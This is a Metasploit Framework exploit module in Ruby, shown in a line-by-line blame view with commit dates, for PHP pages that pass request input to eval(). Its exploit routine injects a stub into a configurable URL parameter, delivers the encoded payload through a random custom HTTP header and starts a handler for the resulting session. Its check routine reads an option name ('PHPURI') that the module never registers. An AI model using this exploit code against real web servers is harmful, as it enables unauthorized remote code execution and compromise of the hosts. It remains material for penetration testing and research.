2008-10-13 05:55:10 +00:00
|
|
|
##
|
2008-10-23 02:43:21 +00:00
|
|
|
# $Id$
|
2008-10-13 05:55:10 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-03-10 05:58:01 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-10-13 05:55:10 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-10-13 05:55:10 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ManualRanking
|
2008-10-13 05:55:10 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-03-10 05:58:01 +00:00
|
|
|
super(update_info(info,
|
2008-10-13 05:55:10 +00:00
|
|
|
'Name' => 'Generic PHP Code eval',
|
|
|
|
'Description' => %q{
|
|
|
|
Exploits things like <?php eval($_REQUEST['evalme']); ?>
|
|
|
|
It is likely that HTTP evasion options will break this exploit.
|
|
|
|
},
|
|
|
|
'Author' => [ 'egypt' ],
|
|
|
|
'License' => BSD_LICENSE,
|
2008-10-23 02:43:21 +00:00
|
|
|
'Version' => '$Revision$',
|
2008-10-13 05:55:10 +00:00
|
|
|
'References' => [ ],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Platform' => ['php'],
|
2010-03-10 05:58:01 +00:00
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Payload' =>
|
2008-10-13 05:55:10 +00:00
|
|
|
{
|
2010-03-10 05:58:01 +00:00
|
|
|
'Space' => 4000,
|
|
|
|
# max url length for some old versions of apache according to
|
|
|
|
# http://www.boutell.com/newfaq/misc/urllength.html
|
2008-10-13 05:55:10 +00:00
|
|
|
'DisableNops' => true,
|
|
|
|
'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install
|
2010-03-10 05:58:01 +00:00
|
|
|
'Compat' =>
|
2008-10-13 05:55:10 +00:00
|
|
|
{
|
|
|
|
'ConnectionType' => 'find',
|
|
|
|
},
|
|
|
|
'Keys' => ['php'],
|
|
|
|
},
|
|
|
|
'Targets' => [ ['Automatic', { }], ],
|
|
|
|
'DefaultTarget' => 0
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URIPATH', [ true, "The URI to request, with the eval()'d parameter changed to !CODE!", '/test.php?evalme=!CODE!']),
|
|
|
|
], self.class)
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2008-10-13 05:55:10 +00:00
|
|
|
end
|
|
|
|
|
2009-09-10 05:24:03 +00:00
|
|
|
def check
|
|
|
|
uri = datastore['PHPURI'].gsub(/\?.*/, "")
|
|
|
|
print_status("Checking uri #{uri}")
|
|
|
|
response = send_request_raw({ 'uri' => uri})
|
|
|
|
if response.code == 200
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
print_error("Server responded with #{response.code}")
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
2008-10-13 05:55:10 +00:00
|
|
|
def exploit
|
|
|
|
# very short timeout because the request may never return if we're
|
|
|
|
# sending a socket payload
|
|
|
|
timeout = 0.01
|
|
|
|
|
2009-04-19 15:47:14 +00:00
|
|
|
headername = "X-" + Rex::Text.rand_text_alpha_upper(rand(10)+10)
|
2009-05-17 00:35:56 +00:00
|
|
|
stub = "eval($_SERVER[HTTP_#{headername.gsub("-", "_")}]);"
|
2009-04-19 15:47:14 +00:00
|
|
|
|
|
|
|
uri = datastore['URIPATH'].sub("!CODE!", Rex::Text.uri_encode(stub))
|
2010-03-10 05:58:01 +00:00
|
|
|
response = send_request_raw({
|
2009-06-20 05:50:52 +00:00
|
|
|
'global' => true,
|
2009-04-19 15:47:14 +00:00
|
|
|
'uri' => uri,
|
2010-03-10 05:58:01 +00:00
|
|
|
'headers' => {
|
2009-04-19 15:47:14 +00:00
|
|
|
headername => payload.encoded,
|
|
|
|
'Connection' => 'close'
|
|
|
|
}
|
|
|
|
},timeout)
|
2009-09-10 05:24:03 +00:00
|
|
|
if response and response.code != 200
|
|
|
|
print_error("Server returned non-200 status code (#{response.code})")
|
|
|
|
end
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2008-10-13 05:55:10 +00:00
|
|
|
handler
|
|
|
|
end
|
2009-04-19 15:47:14 +00:00
|
|
|
end
|